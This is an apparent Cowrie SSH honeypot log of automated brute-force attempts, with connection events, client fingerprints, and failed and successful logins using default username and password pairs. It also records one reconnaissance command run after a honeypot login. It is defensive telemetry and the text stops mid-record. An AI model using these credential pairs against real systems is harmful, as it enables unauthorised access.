{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.755692Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.760881Z","src_ip":"192.109.200.78","session":"b478b0f097e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:37.787845Z","src_ip":"80.94.92.168","session":"85ca56749765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56840,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d6c8c78f805","protocol":"ssh","message":"New connection: 192.109.200.78:56840 (159.203.135.109:22) [session: 6d6c8c78f805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:41.366683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:41.370963Z","src_ip":"192.109.200.78","session":"6d6c8c78f805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:41.452798Z","src_ip":"192.109.200.78","session":"6d6c8c78f805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:41.701420Z","src_ip":"192.109.200.78","session":"6d6c8c78f805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9be67846d95","protocol":"ssh","message":"New connection: 176.65.139.95:55944 (159.203.135.109:22) [session: c9be67846d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:42.410267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:42.591909Z","src_ip":"176.65.139.95","session":"c9be67846d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:42.596066Z","src_ip":"176.65.139.95","session":"c9be67846d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:42.786963Z","src_ip":"192.109.200.78","session":"6d6c8c78f805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:43.041341Z","src_ip":"176.65.139.95","session":"c9be67846d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:44.144285Z","src_ip":"176.65.139.95","session":"c9be67846d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56844,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d120c7cbdb3","protocol":"ssh","message":"New connection: 192.109.200.78:56844 (159.203.135.109:22) [session: 9d120c7cbdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.398492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.403724Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.486450Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50862,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a066736bdbd","protocol":"ssh","message":"New connection: 159.203.92.129:50862 (159.203.135.109:22) [session: 9a066736bdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.499798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.504333Z","src_ip":"159.203.92.129","session":"9a066736bdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.511462Z","src_ip":"159.203.92.129","session":"9a066736bdbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Neptun","password":"123456","message":"login attempt [Neptun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.522780Z","src_ip":"159.203.92.129","session":"9a066736bdbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:45.857932Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:46.066432Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:46.070212Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:46.156664Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:46.162348Z","src_ip":"192.109.200.78","session":"9d120c7cbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:46.532584Z","src_ip":"159.203.92.129","session":"9a066736bdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42628,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc052823bb6","protocol":"ssh","message":"New connection: 192.109.200.78:42628 (159.203.135.109:22) [session: ecc052823bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.430693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.435544Z","src_ip":"192.109.200.78","session":"ecc052823bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.518503Z","src_ip":"192.109.200.78","session":"ecc052823bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49494,"dst_ip":"159.203.135.109","dst_port":22,"session":"adc91b657dc4","protocol":"ssh","message":"New connection: 176.65.139.95:49494 (159.203.135.109:22) [session: adc91b657dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.666380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.693931Z","src_ip":"176.65.139.95","session":"adc91b657dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.777978Z","src_ip":"176.65.139.95","session":"adc91b657dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:49.784551Z","src_ip":"192.109.200.78","session":"ecc052823bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:50.217179Z","src_ip":"176.65.139.95","session":"adc91b657dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:50.871044Z","src_ip":"192.109.200.78","session":"ecc052823bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:51.338475Z","src_ip":"176.65.139.95","session":"adc91b657dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42644,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b112f91936","protocol":"ssh","message":"New connection: 192.109.200.78:42644 (159.203.135.109:22) [session: 73b112f91936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:53.429556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:53.522270Z","src_ip":"192.109.200.78","session":"73b112f91936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:53.526318Z","src_ip":"192.109.200.78","session":"73b112f91936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:53.860137Z","src_ip":"192.109.200.78","session":"73b112f91936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:54.945427Z","src_ip":"192.109.200.78","session":"73b112f91936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49504,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e316c53763","protocol":"ssh","message":"New connection: 176.65.139.95:49504 (159.203.135.109:22) [session: 63e316c53763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:56.733096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:56.740937Z","src_ip":"176.65.139.95","session":"63e316c53763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openss